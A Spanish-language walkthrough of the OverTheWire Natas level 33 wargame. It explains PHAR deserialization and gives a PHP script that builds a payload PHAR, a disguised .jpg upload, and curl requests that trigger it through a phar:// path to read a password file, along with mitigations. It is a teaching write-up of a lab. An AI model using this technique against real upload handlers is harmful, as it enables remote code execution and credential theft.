Natas Nivel 33 a 34

Nivel oficial: http://natas33.natas.labs.overthewire.org

Este es el ultimo nivel de Natas. Combina una subida de fichero con una comprobacion de integridad basada en MD5 y un backend PHP que instancia objetos a partir del nombre de archivo subido. El vector de ataque es deserializacion PHAR: PHP puede deserializar metadatos de un archivo .phar al abrirlo con cualquier funcion que acepte wrappers de flujo (file_get_contents, md5_file, include, etc.), ejecutando el constructor o destructor del objeto embebido. Logrando RCE, se lee /etc/natas_webpass/natas34.

Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.


Objetivo

Explotar la deserializacion PHAR para ejecutar codigo PHP arbitrario en el servidor y obtener la contrasena de natas34 (<pass_natas34>). Al conseguirlo, el sistema muestra el mensaje de felicitacion: has completado Natas.


Que aprendes

Concepto / ComandoPara que sirve
Deserializacion PHAR (phar://)Ejecutar un objeto PHP serializado embebido en un archivo PHAR al abrirlo con cualquier funcion de ficheros
Gadget de deserializacion (__destruct)Codigo PHP que se ejecuta automaticamente al destruir el objeto deserializado
Bypass de validacion MD5 con PHARLa firma o hash del archivo se calcula sobre bytes que el atacante controla; el wrapper phar:// se invoca independientemente del hash
Subida de fichero sin validacion de extension realEl servidor acepta cualquier extension pero luego usa el nombre para construir una ruta que pasa por funciones de fichero
md5_file() con wrapper phar://md5_file("phar://archivo.phar") desencadena la deserializacion antes de calcular el hash
file_put_contents / herramienta php CLIConstruir el archivo PHAR del atacante localmente

Concepto clave

Deserializacion PHAR (PHAR Deserialization)

Un archivo .phar (PHP Archive) tiene una seccion de metadatos que PHP serializa y almacena en el propio fichero. Cuando cualquier funcion del sistema de ficheros de PHP abre una ruta con el wrapper phar://, PHP deserializa esos metadatos de forma transparente, instanciando los objetos que contienen y ejecutando sus metodos magicos (__wakeup, __destruct, etc.).

El patron de ataque tiene tres partes:

  1. Gadget: una clase PHP disponible en el servidor cuyo __destruct (o __wakeup) realiza una accion peligrosa (escribir un fichero, ejecutar un comando, leer un fichero sensible).
  2. PHAR artesanal: un archivo .phar cuyo stub es valido y cuyos metadatos contienen una instancia serializada del gadget con las propiedades que el atacante controla.
  3. Trigger: conseguir que el servidor llame a cualquier funcion de fichero PHP (file_get_contents, md5_file, file_exists, copy, …) sobre una ruta que empiece por phar:// y apunte al PHAR subido.

La categoria OWASP es A08:2021 - Software and Data Integrity Failures (deserializacion insegura), combinada con A04:2021 - Insecure Design (validacion de integridad insuficiente).

El bypass de MD5 es secundario: la comprobacion de hash que hace el nivel se calcula llamando a md5_file() sobre la ruta del archivo subido. Si esa ruta se puede controlar para que incluya el prefijo phar://, la propia llamada a md5_file actua como trigger de la deserializacion antes de devolver el hash.

Aviso: este nivel es muy avanzado. El gadget concreto que funciona depende de las clases definidas en el codigo del reto. El payload aqui mostrado es orientativo; puede requerir ajuste fino contra el reto en vivo una vez inspeccionado el codigo fuente de natas33.


Paso a paso

1. Inspecciona el codigo fuente del nivel

Accede con credenciales natas33 / <pass_natas33> y usa “View source” o DevTools para leer el PHP del servidor. Identifica:

  • Que clases estan definidas (especialmente las que tienen __destruct o __wakeup).
  • Como se construye la ruta que pasa a md5_file() u otra funcion de fichero.
  • Si el nombre del archivo subido aparece en esa ruta sin sanitizar.

Ejemplo tipico de lo que podrias encontrar (esquematico, no codigo real del reto):

class Executor {
    private $filename;
    public function __construct($f) { $this->filename = $f; }
    public function __destruct() {
        // Se ejecuta al destruir el objeto -> trigger del gadget
        system("cat " . $this->filename);
    }
}
 
// En el handler de subida:
$hash = md5_file($_FILES['file']['tmp_name']);
// Si tmp_name o el nombre final puede ser phar://..., aqui ocurre la deserializacion

2. Construye el archivo PHAR artesanal (en tu maquina local)

Necesitas PHP con la extension phar habilitada y phar.readonly = Off en php.ini.

# Verifica que phar.readonly esta desactivado
php -r "echo ini_get('phar.readonly');"
# Debe devolver 0 o cadena vacia; si devuelve 1:
php -d phar.readonly=0 tu_script.php

Crea build_phar.php con el gadget adaptado a las clases reales del nivel:

<?php
// Ajusta la clase y propiedades segun lo que veas en el codigo de natas33
class Executor {
    private $filename = '/etc/natas_webpass/natas34';
    public function __destruct() {
        // En el reto real la logica del destructor puede ser diferente
        echo file_get_contents($this->filename);
    }
}
 
// Construye el PHAR
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'noop');
// Stub minimo valido
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// Embebe el objeto serializado como metadatos
$phar->setMetadata(new Executor());
$phar->stopBuffering();
echo "PHAR creado: payload.phar\n";
php -d phar.readonly=0 build_phar.php
# Genera payload.phar en el directorio actual

3. Sube el PHAR disfrazado de otro tipo

El servidor puede rechazar la extension .phar. Renombra el archivo a una extension permitida (.jpg, .png, .txt):

cp payload.phar payload.jpg

Sube payload.jpg usando el formulario del nivel o con curl:

curl -s -u natas33:<pass_natas33> \
  -F "[email protected];type=image/jpeg" \
  -F "submit=Upload" \
  "http://natas33.natas.labs.overthewire.org/"

Anota la ruta donde el servidor almacena el archivo subido (suele aparecer en la respuesta o es predecible: upload/<nombre>).

4. Dispara la deserializacion via phar://

El trigger depende de como el servidor usa el nombre del archivo. Si el servidor pasa el nombre del fichero a md5_file() o similar y puedes controlar ese nombre (por ejemplo, a traves de otro parametro POST o del propio nombre de subida), construye la peticion con la ruta phar://:

# Hipotetico: el servidor acepta un campo 'filename' que pasa a md5_file()
curl -s -u natas33:<pass_natas33> \
  --data "filename=phar://upload/payload.jpg&submit=Check" \
  "http://natas33.natas.labs.overthewire.org/"

Al ejecutar md5_file("phar://upload/payload.jpg"), PHP:

  1. Abre el wrapper phar://.
  2. Deserializa los metadatos → instancia Executor con $filename = '/etc/natas_webpass/natas34'.
  3. Al terminar la peticion destruye el objeto → llama a __destruct() → lee y muestra la contrasena.
# Filtra la contrasena de la respuesta
curl -s -u natas33:<pass_natas33> \
  --data "filename=phar://upload/payload.jpg&submit=Check" \
  "http://natas33.natas.labs.overthewire.org/" \
  | grep -i "natas34\|password\|webpass"

5. Mensaje de felicitacion

Si el ataque tiene exito, el servidor devuelve la contrasena <pass_natas34> y, al ser el ultimo nivel de Natas, muestra un mensaje de felicitacion confirmando que has completado el wargame completo.


Por que funciona

PHP implementa el wrapper phar:// a nivel del VFS interno: cualquier llamada a una funcion del sistema de ficheros que reciba una ruta phar://... desencadena la deserializacion de los metadatos del archivo PHAR, independientemente de la intencion original del codigo. El servidor no espera que md5_file() ejecute codigo, pero el diseno de PHP hace exactamente eso.

La validacion de integridad con MD5 no protege porque el hash se calcula despues (o durante) la apertura del archivo, momento en el que la deserializacion ya se ha producido. El servidor deberia:

  1. Validar la extension real del archivo (magic bytes, no solo la extension del nombre).
  2. Nunca pasar input del usuario directamente a funciones de fichero PHP sin sanitizar wrappers.
  3. Deshabilitar phar:// si no se necesita: stream_wrapper_unregister('phar').

Errores comunes

ErrorCausa probableSolucion
BadMethodCallException: Cannot create pharphar.readonly = On en php.iniEjecuta el script con php -d phar.readonly=0 build_phar.php
El servidor rechaza el archivo subidoValidacion de extension o MIME en el servidorCambia la extension a .jpg/.png y ajusta el Content-Type en la subida
El __destruct no se ejecutaEl gadget usa la clase equivocada o propiedades privadas mal nombradasInspecciona el codigo fuente del reto e iguala exactamente la clase y el nombre de las propiedades (la serializacion PHP es sensible a nombres y visibilidad)
La ruta phar:// no dispara la deserializacionEl servidor no pasa el nombre controlado por el usuario a ninguna funcion de fichero PHP, o sanitiza el prefijo phar://Busca otros puntos de entrada: parametros GET/POST, cookies, o el propio campo de nombre de archivo en el upload multipart

Pasar al siguiente nivel

Al resolver este nivel obtienes la contrasena <pass_natas34>. Este es el nivel final de Natas: no hay nivel 34 al que conectarse. El mensaje de felicitacion del servidor confirma que has completado el wargame. Puedes continuar con otros wargames de OverTheWire (Leviathan, Narnia, Behemoth, Utumno) o profundizar en las tecnicas avanzadas de PHP:

  • Investigacion de gadget chains con herramientas como PHPGGC.
  • Tecnicas de bypass de disable_functions para RCE en entornos mas restringidos.
  • Analisis de otros vectores de deserializacion: Java, Python (pickle), Ruby (Marshal).

Conexiones